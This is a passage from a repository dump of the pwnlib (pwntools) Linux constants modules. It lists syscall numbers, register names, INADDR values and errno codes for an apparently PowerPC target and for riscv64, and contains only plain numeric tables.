Constant('SYS_rt_sigqueueinfo',177)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',172)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',178)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',176)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',322)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',223)\nSYS_sched_getattr = Constant('SYS_sched_getattr',356)\nSYS_sched_getparam = Constant('SYS_sched_getparam',155)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',159)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',160)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',157)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',161)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',222)\nSYS_sched_setattr = Constant('SYS_sched_setattr',355)\nSYS_sched_setparam = Constant('SYS_sched_setparam',154)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',156)\nSYS_sched_yield = Constant('SYS_sched_yield',158)\nSYS_seccomp = Constant('SYS_seccomp',358)\nSYS_select = Constant('SYS_select',82)\nSYS_semctl = Constant('SYS_semctl',394)\nSYS_semget = Constant('SYS_semget',393)\nSYS_semtimedop = Constant('SYS_semtimedop',392)\nSYS_send = Constant('SYS_send',334)\nSYS_sendfile = Constant('SYS_sendfile',186)\nSYS_sendmmsg = Constant('SYS_sendmmsg',349)\nSYS_sendmsg = Constant('SYS_sendmsg',341)\nSYS_sendto = Constant('SYS_sendto',335)\nSYS_setdomainname = Constant('SYS_setdomainname',121)\nSYS_setfsgid = Constant('SYS_setfsgid',139)\nSYS_setfsuid = Constant('SYS_setfsuid',138)\nSYS_setgid = Constant('SYS_setgid',46)\nSYS_setgroups = Constant('SYS_setgroups',81)\nSYS_sethostname = Constant('SYS_sethostname',74)\nSYS_setitimer = Constant('SYS_setitimer',104)\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',261)\nSYS_setns = Constant('SYS_setns',350)\nSYS_setpgid = Constant('SYS_setpgid',57)\nSYS_setpriority = Constant('SYS_setpriority',97)\nSYS_setregid = Constant('SYS_setregid',71)\nSYS_setresgid = Constant('SYS_setresgid',169)\nSYS_setresuid = Constant('SYS_setresuid',164)\nSYS_setreuid = Constant('SYS_setreuid',70)\nSYS_setrlimit = Constant('SYS_setrlimit',75)\nSYS_set_robust_list = Constant('SYS_set_robust_list',300)\nSYS_setsid = Constant('SYS_setsid',66)\nSYS_setsockopt = Constant('SYS_setsockopt',339)\nSYS_set_tid_address = Constant('SYS_set_tid_address',232)\nSYS_settimeofday = Constant('SYS_settimeofday',79)\nSYS_setuid = Constant('SYS_setuid',23)\nSYS_setxattr = Constant('SYS_setxattr',209)\nSYS_sgetmask = Constant('SYS_sgetmask',68)\nSYS_shmat = Constant('SYS_shmat',397)\nSYS_shmctl = Constant('SYS_shmctl',396)\nSYS_shmdt = Constant('SYS_shmdt',398)\nSYS_shmget = Constant('SYS_shmget',395)\nSYS_shutdown = Constant('SYS_shutdown',338)\nSYS_sigaction = Constant('SYS_sigaction',67)\nSYS_sigaltstack = Constant('SYS_sigaltstack',185)\nSYS_signal = Constant('SYS_signal',48)\nSYS_signalfd = Constant('SYS_signalfd',305)\nSYS_signalfd4 = Constant('SYS_signalfd4',313)\nSYS_sigpending = Constant('SYS_sigpending',73)\nSYS_sigprocmask = Constant('SYS_sigprocmask',126)\nSYS_sigreturn = Constant('SYS_sigreturn',119)\nSYS_sigsuspend = Constant('SYS_sigsuspend',72)\nSYS_socket = Constant('SYS_socket',326)\nSYS_socketcall = Constant('SYS_socketcall',102)\nSYS_socketpair = Constant('SYS_socketpair',333)\nSYS_splice = Constant('SYS_splice',283)\nSYS_spu_create = Constant('SYS_spu_create',279)\nSYS_spu_run = Constant('SYS_spu_run',278)\nSYS_ssetmask = Constant('SYS_ssetmask',69)\nSYS_stat = Constant('SYS_stat',106)\nSYS_statfs = Constant('SYS_statfs',99)\nSYS_statfs64 = Constant('SYS_statfs64',252)\nSYS_statx = Constant('SYS_statx',383)\nSYS_stime = Constant('SYS_stime',25)\nSYS_stty = Constant('SYS_stty',31)\nSYS_subpage_prot = Constant('SYS_subpage_prot',310)\nSYS_swapcontext = Constant('SYS_swapcontext',249)\nSYS_swapoff = Constant('SYS_swapoff',115)\nSYS_swapon = Constant('SYS_swapon',87)\nSYS_switch_endian = Constant('SYS_switch_endian',363)\nSYS_symlink = Constant('SYS_symlink',83)\nSYS_symlinkat = Constant('SYS_symlinkat',295)\nSYS_sync = Constant('SYS_sync',36)\nSYS_sync_file_range2 = Constant('SYS_sync_file_range2',308)\nSYS_syncfs = Constant('SYS_syncfs',348)\nSYS__sysctl = Constant('SYS__sysctl',149)\nSYS_sysfs = Constant('SYS_sysfs',135)\nSYS_sysinfo = Constant('SYS_sysinfo',116)\nSYS_syslog = Constant('SYS_syslog',103)\nSYS_tee = Constant('SYS_tee',284)\nSYS_tgkill = Constant('SYS_tgkill',250)\nSYS_time = Constant('SYS_time',13)\nSYS_timer_create = Constant('SYS_timer_create',240)\nSYS_timer_delete = Constant('SYS_timer_delete',244)\nSYS_timerfd = Constant('SYS_timerfd',306)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',312)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',311)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',243)\nSYS_timer_gettime = Constant('SYS_timer_gettime',242)\nSYS_timer_settime = Constant('SYS_timer_settime',241)\nSYS_times = Constant('SYS_times',43)\nSYS_tkill = Constant('SYS_tkill',208)\nSYS_truncate = Constant('SYS_truncate',92)\nSYS_tuxcall = Constant('SYS_tuxcall',225)\nSYS_ugetrlimit = Constant('SYS_ugetrlimit',190)\nSYS_ulimit = Constant('SYS_ulimit',58)\nSYS_umask = Constant('SYS_umask',60)\nSYS_umount = Constant('SYS_umount',22)\nSYS_umount2 = Constant('SYS_umount2',52)\nSYS_uname = Constant('SYS_uname',122)\nSYS_unlink = Constant('SYS_unlink',10)\nSYS_unlinkat = Constant('SYS_unlinkat',292)\nSYS_unshare = Constant('SYS_unshare',282)\nSYS_uselib = Constant('SYS_uselib',86)\nSYS_userfaultfd = Constant('SYS_userfaultfd',364)\nSYS_ustat = Constant('SYS_ustat',62)\nSYS_utime = Constant('SYS_utime',30)\nSYS_utimensat = Constant('SYS_utimensat',304)\nSYS_utimes = Constant('SYS_utimes',251)\nSYS_vfork = Constant('SYS_vfork',189)\nSYS_vhangup = Constant('SYS_vhangup',111)\nSYS_vm86 = Constant('SYS_vm86',113)\nSYS_vmsplice = Constant('SYS_vmsplice',285)\nSYS_wait4 = Constant('SYS_wait4',114)\nSYS_waitid = Constant('SYS_waitid',272)\nSYS_waitpid = Constant('SYS_waitpid',7)\nSYS_write = Constant('SYS_write',4)\nSYS_writev = Constant('SYS_writev',146)\nr0 = Constant('r0',0)\nr1 = Constant('r1',1)\nr2 = Constant('r2',2)\nr3 = Constant('r3',3)\nr4 = Constant('r4',4)\nr5 = Constant('r5',5)\nr6 = Constant('r6',6)\nr7 = Constant('r7',7)\nr8 = Constant('r8',8)\nr9 = Constant('r9',9)\nr10 = Constant('r10',10)\nr11 = Constant('r11',11)\nr12 = Constant('r12',12)\nr13 = Constant('r13',13)\nr14 = Constant('r14',14)\nr15 = Constant('r15',15)\nr16 = Constant('r16',16)\nr17 = Constant('r17',17)\nr18 = Constant('r18',18)\nr19 = Constant('r19',19)\nr20 = Constant('r20',20)\nr21 = Constant('r21',21)\nr22 = Constant('r22',22)\nr23 = Constant('r23',23)\nr24 = Constant('r24',24)\nr25 = Constant('r25',25)\nr26 = Constant('r26',26)\nr27 = Constant('r27',27)\nr28 = Constant('r28',28)\nr29 = Constant('r29',29)\nr30 = Constant('r30',30)\nr31 = Constant('r31',31)\n"
  },
  {
    "path": "pwnlib/constants/linux/riscv64.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_io_setup = Constant('__NR_io_setup',0)\n__NR_io_destroy = Constant('__NR_io_destroy',1)\n__NR_io_submit = Constant('__NR_io_submit',2)\n__NR_io_cancel = Constant('__NR_io_cancel',3)\n__NR_io_getevents = Constant('__NR_io_getevents',4)\n__NR_setxattr = Constant('__NR_setxattr',5)\n__NR_lsetxattr = Constant('__NR_lsetxattr',6)\n__NR_fsetxattr = Constant('__NR_fsetxattr',7)\n__NR_getxattr = Constant('__NR_getxattr',8)\n__NR_lgetxattr = Constant('__NR_lgetxattr',9)\n__NR_fgetxattr = Constant('__NR_fgetxattr',10)\n__NR_listxattr = Constant('__NR_listxattr',11)\n__NR_llistxattr = Constant('__NR_llistxattr',12)\n__NR_flistxattr = Constant('__NR_flistxattr',13)\n__NR_removexattr = Constant('__NR_removexattr',14)\n__NR_lremovexattr = Constant('__NR_lremovexattr',15)\n__NR_fremovexattr = Constant('__NR_fremovexattr',16)\n__NR_getcwd = Constant('__NR_getcwd',17)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',18)\n__NR_eventfd2 = Constant('__NR_eventfd2',19)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',20)\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',21)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',22)\n__NR_dup = Constant('__NR_dup',23)\n__NR_dup3 = Constant('__NR_dup3',24)\n__NR_fcntl = Constant('__NR_fcntl',25)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',26)\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',27)\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',28)\n__NR_ioctl = Constant('__NR_ioctl',29)\n__NR_ioprio_set = Constant('__NR_ioprio_set',30)\n__NR_ioprio_get = Constant('__NR_ioprio_get',31)\n__NR_flock = Constant('__NR_flock',32)\n__NR_mknodat = Constant('__NR_mknodat',33)\n__NR_mkdirat = Constant('__NR_mkdirat',34)\n__NR_unlinkat = Constant('__NR_unlinkat',35)\n__NR_symlinkat = Constant('__NR_symlinkat',36)\n__NR_linkat = Constant('__NR_linkat',37)\n__NR_umount2 = Constant('__NR_umount2',39)\n__NR_mount = Constant('__NR_mount',40)\n__NR_pivot_root = Constant('__NR_pivot_root',41)\n__NR_nfsservctl = Constant('__NR_nfsservctl',42)\n__NR_statfs = Constant('__NR_statfs',43)\n__NR_fstatfs = Constant('__NR_fstatfs',44)\n__NR_truncate = Constant('__NR_truncate',45)\n__NR_ftruncate = Constant('__NR_ftruncate',46)\n__NR_fallocate = Constant('__NR_fallocate',47)\n__NR_faccessat = Constant('__NR_faccessat',48)\n__NR_chdir = Constant('__NR_chdir',49)\n__NR_fchdir = Constant('__NR_fchdir',50)\n__NR_chroot = Constant('__NR_chroot',51)\n__NR_fchmod = Constant('__NR_fchmod',52)\n__NR_fchmodat = Constant('__NR_fchmodat',53)\n__NR_fchownat = Constant('__NR_fchownat',54)\n__NR_fchown = Constant('__NR_fchown',55)\n__NR_openat = Constant('__NR_openat',56)\n__NR_close = Constant('__NR_close',57)\n__NR_vhangup = Constant('__NR_vhangup',58)\n__NR_pipe2 = Constant('__NR_pipe2',59)\n__NR_quotactl = Constant('__NR_quotactl',60)\n__NR_getdents64 = Constant('__NR_getdents64',61)\n__NR_lseek = Constant('__NR_lseek',62)\n__NR_read = Constant('__NR_read',63)\n__NR_write = Constant('__NR_write',64)\n__NR_readv = Constant('__NR_readv',65)\n__NR_writev = Constant('__NR_writev',66)\n__NR_pread64 = Constant('__NR_pread64',67)\n__NR_pwrite64 = Constant('__NR_pwrite64',68)\n__NR_preadv = Constant('__NR_preadv',69)\n__NR_pwritev = Constant('__NR_pwritev',70)\n__NR_sendfile = Constant('__NR_sendfile',71)\n__NR_pselect6 = Constant('__NR_pselect6',72)\n__NR_ppoll = Constant('__NR_ppoll',73)\n__NR_signalfd4 = Constant('__NR_signalfd4',74)\n__NR_vmsplice = Constant('__NR_vmsplice',75)\n__NR_splice = Constant('__NR_splice',76)\n__NR_tee = Constant('__NR_tee',77)\n__NR_readlinkat = Constant('__NR_readlinkat',78)\n__NR_newfstatat = Constant('__NR_newfstatat',79)\n__NR_fstat = Constant('__NR_fstat',80)\n__NR_sync = Constant('__NR_sync',81)\n__NR_fsync = Constant('__NR_fsync',82)\n__NR_fdatasync = Constant('__NR_fdatasync',83)\n__NR_sync_file_range = Constant('__NR_sync_file_range',84)\n__NR_timerfd_create = Constant('__NR_timerfd_create',85)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',86)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',87)\n__NR_utimensat = Constant('__NR_utimensat',88)\n__NR_acct = Constant('__NR_acct',89)\n__NR_capget = Constant('__NR_capget',90)\n__NR_capset = Constant('__NR_capset',91)\n__NR_personality = Constant('__NR_personality',92)\n__NR_exit = Constant('__NR_exit',93)\n__NR_exit_group = Constant('__NR_exit_group',94)\n__NR_waitid = Constant('__NR_waitid',95)\n__NR_set_tid_address = Constant('__NR_set_tid_address',96)\n__NR_unshare = Constant('__NR_unshare',97)\n__NR_futex = Constant('__NR_futex',98)\n__NR_set_robust_list = Constant('__NR_set_robust_list',99)\n__NR_get_robust_list = Constant('__NR_get_robust_list',100)\n__NR_nanosleep = Constant('__NR_nanosleep',101)\n__NR_getitimer = Constant('__NR_getitimer',102)\n__NR_setitimer = Constant('__NR_setitimer',103)\n__NR_kexec_load = Constant('__NR_kexec_load',104)\n__NR_init_module = Constant('__NR_init_module',105)\n__NR_delete_module = Constant('__NR_delete_module',106)\n__NR_timer_create = Constant('__NR_timer_create',107)\n__NR_timer_gettime = Constant('__NR_timer_gettime',108)\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',109)\n__NR_timer_settime = Constant('__NR_timer_settime',110)\n__NR_timer_delete = Constant('__NR_timer_delete',111)\n__NR_clock_settime = Constant('__NR_clock_settime',112)\n__NR_clock_gettime = Constant('__NR_clock_gettime',113)\n__NR_clock_getres = Constant('__NR_clock_getres',114)\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',115)\n__NR_syslog = Constant('__NR_syslog',116)\n__NR_ptrace = Constant('__NR_ptrace',117)\n__NR_sched_setparam = Constant('__NR_sched_setparam',118)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',119)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',120)\n__NR_sched_getparam = Constant('__NR_sched_getparam',121)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',122)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',123)\n__NR_sched_yield = Constant('__NR_sched_yield',124)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',125)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',126)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',127)\n__NR_restart_syscall = Constant('__NR_restart_syscall',128)\n__NR_kill = Constant('__NR_kill',129)\n__NR_tkill = Constant('__NR_tkill',130)\n__NR_tgkill = Constant('__NR_tgkill',131)\n__NR_sigaltstack = Constant('__NR_sigaltstack',132)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',133)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',134)\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',135)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',136)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',137)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',138)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',139)\n__NR_setpriority = Constant('__NR_setpriority',140)\n__NR_getpriority = Constant('__NR_getpriority',141)\n__NR_reboot = Constant('__NR_reboot',142)\n__NR_setregid = Constant('__NR_setregid',143)\n__NR_setgid = Constant('__NR_setgid',144)\n__NR_setreuid = Constant('__NR_setreuid',145)\n__NR_setuid = Constant('__NR_setuid',146)\n__NR_setresuid = Constant('__NR_setresuid',147)\n__NR_getresuid = Constant('__NR_getresuid',148)\n__NR_setresgid = Constant('__NR_setresgid',149)\n__NR_getresgid = Constant('__NR_getresgid',150)\n__NR_setfsuid = Constant('__NR_setfsuid',151)\n__NR_setfsgid = Constant('__NR_setfsgid',152)\n__NR_times = Constant('__NR_times',153)\n__NR_setpgid = Constant('__NR_setpgid',154)\n__NR_getpgid = Constant('__NR_getpgid',155)\n__NR_getsid = Constant('__NR_getsid',156)\n__NR_setsid = Constant('__NR_setsid',157)\n__NR_getgroups = Constant('__NR_getgroups',158)\n__NR_setgroups = Constant('__NR_setgroups',159)\n__NR_uname = Constant('__NR_uname',160)\n__NR_sethostname = Constant('__NR_sethostname',161)\n__NR_setdomainname = Constant('__NR_setdomainname',162)\n__NR_getrlimit = Constant('__NR_getrlimit',163)\n__NR_setrlimit = Constant('__NR_setrlimit',164)\n__NR_getrusage = Constant('__NR_getrusage',165)\n__NR_umask = Constant('__NR_umask',166)\n__NR_prctl = Constant('__NR_prctl',167)\n__NR_getcpu = Constant('__NR_getcpu',168)\n__NR_gettimeofday = Constant('__NR_gettimeofday',169)\n__NR_settimeofday = Constant('__NR_settimeofday',170)\n__NR_adjtimex = Constant('__NR_adjtimex',171)\n__NR_getpid = Constant('__NR_getpid',172)\n__NR_getppid = Constant('__NR_getppid',173)\n__NR_getuid = Constant('__NR_getuid',174)\n__NR_geteuid = Constant('__NR_geteuid',175)\n__NR_getgid = Constant('__NR_getgid',176)\n__NR_getegid = Constant('__NR_getegid',177)\n__NR_gettid = Constant('__NR_gettid',178)\n__NR_sysinfo = Constant('__NR_sysinfo',179)\n__NR_mq_open = Constant('__NR_mq_open',180)\n__NR_mq_unlink = Constant('__NR_mq_unlink',181)\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',182)\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',183)\n__NR_mq_notify = Constant('__NR_mq_notify',184)\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',185)\n__NR_msgget = Constant('__NR_msgget',186)\n__NR_msgctl = Constant('__NR_msgctl',187)\n__NR_msgrcv = Constant('__NR_msgrcv',188)\n__NR_msgsnd = Constant('__NR_msgsnd',189)\n__NR_semget = Constant('__NR_semget',190)\n__NR_semctl = Constant('__NR_semctl',191)\n__NR_semtimedop = Constant('__NR_semtimedop',192)\n__NR_semop = Constant('__NR_semop',193)\n__NR_shmget = Constant('__NR_shmget',194)\n__NR_shmctl = Constant('__NR_shmctl',195)\n__NR_shmat = Constant('__NR_shmat',196)\n__NR_shmdt = Constant('__NR_shmdt',197)\n__NR_socket = Constant('__NR_socket',198)\n__NR_socketpair = Constant('__NR_socketpair',199)\n__NR_bind = Constant('__NR_bind',200)\n__NR_listen = Constant('__NR_listen',201)\n__NR_accept = Constant('__NR_accept',202)\n__NR_connect = Constant('__NR_connect',203)\n__NR_getsockname = Constant('__NR_getsockname',204)\n__NR_getpeername = Constant('__NR_getpeername',205)\n__NR_sendto = Constant('__NR_sendto',206)\n__NR_recvfrom = Constant('__NR_recvfrom',207)\n__NR_setsockopt = Constant('__NR_setsockopt',208)\n__NR_getsockopt = Constant('__NR_getsockopt',209)\n__NR_shutdown = Constant('__NR_shutdown',210)\n__NR_sendmsg = Constant('__NR_sendmsg',211)\n__NR_recvmsg = Constant('__NR_recvmsg',212)\n__NR_readahead = Constant('__NR_readahead',213)\n__NR_brk = Constant('__NR_brk',214)\n__NR_munmap = Constant('__NR_munmap',215)\n__NR_mremap = Constant('__NR_mremap',216)\n__NR_add_key = Constant('__NR_add_key',217)\n__NR_request_key = Constant('__NR_request_key',218)\n__NR_keyctl = Constant('__NR_keyctl',219)\n__NR_clone = Constant('__NR_clone',220)\n__NR_execve = Constant('__NR_execve',221)\n__NR_mmap = Constant('__NR_mmap',222)\n__NR_fadvise64 = Constant('__NR_fadvise64',223)\n__NR_swapon = Constant('__NR_swapon',224)\n__NR_swapoff = Constant('__NR_swapoff',225)\n__NR_mprotect = Constant('__NR_mprotect',226)\n__NR_msync = Constant('__NR_msync',227)\n__NR_mlock = Constant('__NR_mlock',228)\n__NR_munlock = Constant('__NR_munlock',229)\n__NR_mlockall = Constant('__NR_mlockall',230)\n__NR_munlockall = Constant('__NR_munlockall',231)\n__NR_mincore = Constant('__NR_mincore',232)\n__NR_madvise = Constant('__NR_madvise',233)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',234)\n__NR_mbind = Constant('__NR_mbind',235)\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',236)\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',237)\n__NR_migrate_pages = Constant('__NR_migrate_pages',238)\n__NR_move_pages = Constant('__NR_move_pages',239)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',240)\n__NR_perf_event_open = Constant('__NR_perf_event_open',241)\n__NR_accept4 = Constant('__NR_accept4',242)\n__NR_recvmmsg = Constant('__NR_recvmmsg',243)\n__NR_arch_specific_syscall = Constant('__NR_arch_specific_syscall',244)\n__NR_wait4 = Constant('__NR_wait4',260)\n__NR_prlimit64 = Constant('__NR_prlimit64',261)\n__NR_fanotify_init = Constant('__NR_fanotify_init',262)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',263)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',264)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',265)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',266)\n__NR_syncfs = Constant('__NR_syncfs',267)\n__NR_setns = Constant('__NR_setns',268)\n__NR_sendmmsg = Constant('__NR_sendmmsg',269)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',270)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',271)\n__NR_kcmp = Constant('__NR_kcmp',272)\n__NR_finit_module = Constant('__NR_finit_module',273)\n__NR_sched_setattr = Constant('__NR_sched_setattr',274)\n__NR_sched_getattr = Constant('__NR_sched_getattr',275)\n__NR_renameat2 = Constant('__NR_renameat2',276)\n__NR_seccomp = Constant('__NR_seccomp',277)\n__NR_getrandom = Constant('__NR_getrandom',278)\n__NR_memfd_create = Constant('__NR_memfd_create',279)\n__NR_bpf = Constant('__NR_bpf',280)\n__NR_execveat = Constant('__NR_execveat',281)\n__NR_userfaultfd = Constant('__NR_userfaultfd',282)\n__NR_membarrier = Constant('__NR_membarrier',283)\n__NR_mlock2 = Constant('__NR_mlock2',284)\n__NR_copy_file_range = Constant('__NR_copy_file_range',285)\n__NR_preadv2 = Constant('__NR_preadv2',286)\n__NR_pwritev2 = Constant('__NR_pwritev2',287)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',288)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',289)\n__NR_pkey_free = Constant('__NR_pkey_free',290)\n__NR_statx = Constant('__NR_statx',291)\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',292)\n__NR_rseq = Constant('__NR_rseq',293)\n__NR_kexec_file_load = Constant('__NR_kexec_file_load',294)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',425)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',426)\n__NR_io_uring_register = Constant('__NR_io_uring_register',427)\n__NR_open_tree = Constant('__NR_open_tree',428)\n__NR_move_mount = Constant('__NR_move_mount',429)\n__NR_fsopen = Constant('__NR_fsopen',430)\n__NR_fsconfig = Constant('__NR_fsconfig',431)\n__NR_fsmount = Constant('__NR_fsmount',432)\n__NR_fspick = Constant('__NR_fspick',433)\n__NR_pidfd_open = Constant('__NR_pidfd_open',434)\n__NR_clone3 = Constant('__NR_clone3',435)\n__NR_close_range = Constant('__NR_close_range',436)\n__NR_openat2 = Constant('__NR_openat2',437)\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438)\n__NR_faccessat2 = Constant('__NR_faccessat2',439)\n__NR_process_madvise = Constant('__NR_process_madvise',440)\n__NR_epoll_pwait2 = Constant('__NR_epoll_pwait2',441)\n__NR_mount_setattr = Constant('__NR_mount_setattr',442)\n__NR_landlock_create_ruleset = Constant('__NR_landlock_create_ruleset',444)\n__NR_landlock_add_rule = Constant('__NR_landlock_add_rule',445)\n__NR_landlock_restrict_self = Constant('__NR_landlock_restrict_self',446)\n__NR_sysriscv = Constant('__NR_sysriscv',244)\n__NR_riscv_flush_icache = Constant('__NR_riscv_flush_icache',(244 + 15))\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = 